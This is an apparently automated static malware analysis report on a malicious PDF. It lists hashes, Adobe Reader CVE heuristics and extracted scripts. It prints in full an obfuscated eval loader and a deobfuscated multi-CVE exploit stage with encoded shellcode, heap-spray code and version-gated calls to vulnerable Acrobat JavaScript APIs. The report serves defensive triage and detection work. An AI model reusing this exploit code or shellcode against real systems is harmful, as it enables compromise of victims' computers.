Malicious PDF — malware analysis report

Static analysis result for SHA-256 870b0cf9ed4226eb…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-07
MD5: 04be0e9bf9b447806669842a873ac164 SHA-1: e5769f53216e46cc7299d3bef0e0f092aa17af86 SHA-256: 870b0cf9ed4226eb2218657d1d35e34b3db1cc8842d5d883b55a2a5d0b63bc19
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to exploit these flaws, likely to download and execute a secondary payload. The ML classifier also flagged this PDF as highly malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB00C 441 bytes
SHA-256: 1b4cce3b6d7a58cfca7dbf8dd36736ba72356ee59973672573aee39e56f11a28
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qnkz='';
bdy=('qwrwqr','tit');
e('kmg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
oduq=e('String.fro'+kmg.substr(0,9));
ljxc = e(kmg.substr(9)['replace'](/u/g,','));
e('k=ljxc.length');
for (i = 0; i < k; i+=2) {
	ygcv = ljxc[i+1] + ('erybjkerl',ljxc[i]);
	qnkz += oduq(ygcv);
}
e(qnkz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
SHA-256: 40ff466f49150f3ca3735122180723bf79240b91efcf0d8a498f22556ecf20b1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uab34%ue2aa%uc3fa%ue5e8%uffff%u42ff%uaaa7%uabab%u2af5%uf747%uabaa%u22ab%u264c%ubbe4%uc426%u9aff%ufc70%uf8fa%uf8f8%uf8f8%uf8f8%uf8fe%uc3f8%uaaaf%uabab%ufdfe%uc3f8%uc5c4%uabab%udec3%uc7d9%uffc6%u25c3%ua5e5%u4347%uabe3%uabab%u43fb%uabd7%uabab%u7b54%u6f28%uc3a3%u44e4%uaee4%u43fb%uabc7%uabab%u7b54%u6b2e%ubcde%uffc1%u58f2%uc301%u55d9%ubd18%ub643%uabab%ufbab%ufa43%uabab%u54ab%uf87b%u55c1%u22c3%uaac4%u4316%uaba3%uabab%u43fb%uab97%uabab%u7b54%u9acb%ucf6b%ufb20%u209b%ua7f9%uf920%u20bf%u83d9%ub312%uabab%u9aab%u9a54%u076b%uca97%ua9d7%u8b87%u646a%uaaa6%u496c%u2a5b%uf054%ue117%u20c1%ubbe9%ub920%u72de%uef22%ub78f%u68ca%u20cb%u8fc7%u208f%u97ee%uff20%ud3ae%u41aa%ue120%u20b3%u8bf1%u40aa%u9f48%u20e2%u209f%u45aa%u549a%u6b9a%u0757%u6b2f%uacdf%u646a%uaaa6%u406c%u905f%u8fd7%ude83%u204a%u8ff1%u40aa%u20cd%ue0a7%uf120%uaab7%u2040%u20af%u43aa%uef22%ub78f%u69ca%uaba3%u4443%u5455%uc354%udfdf%u91db%u8484%uc3db%uc5c4%uc3ce%ud8c4%uc2df%uccc5%uc285%ucdc5%u84c4%u85cf%uc3db%u94db%u96cd%u999f%uce8d%u9e96%u00ab';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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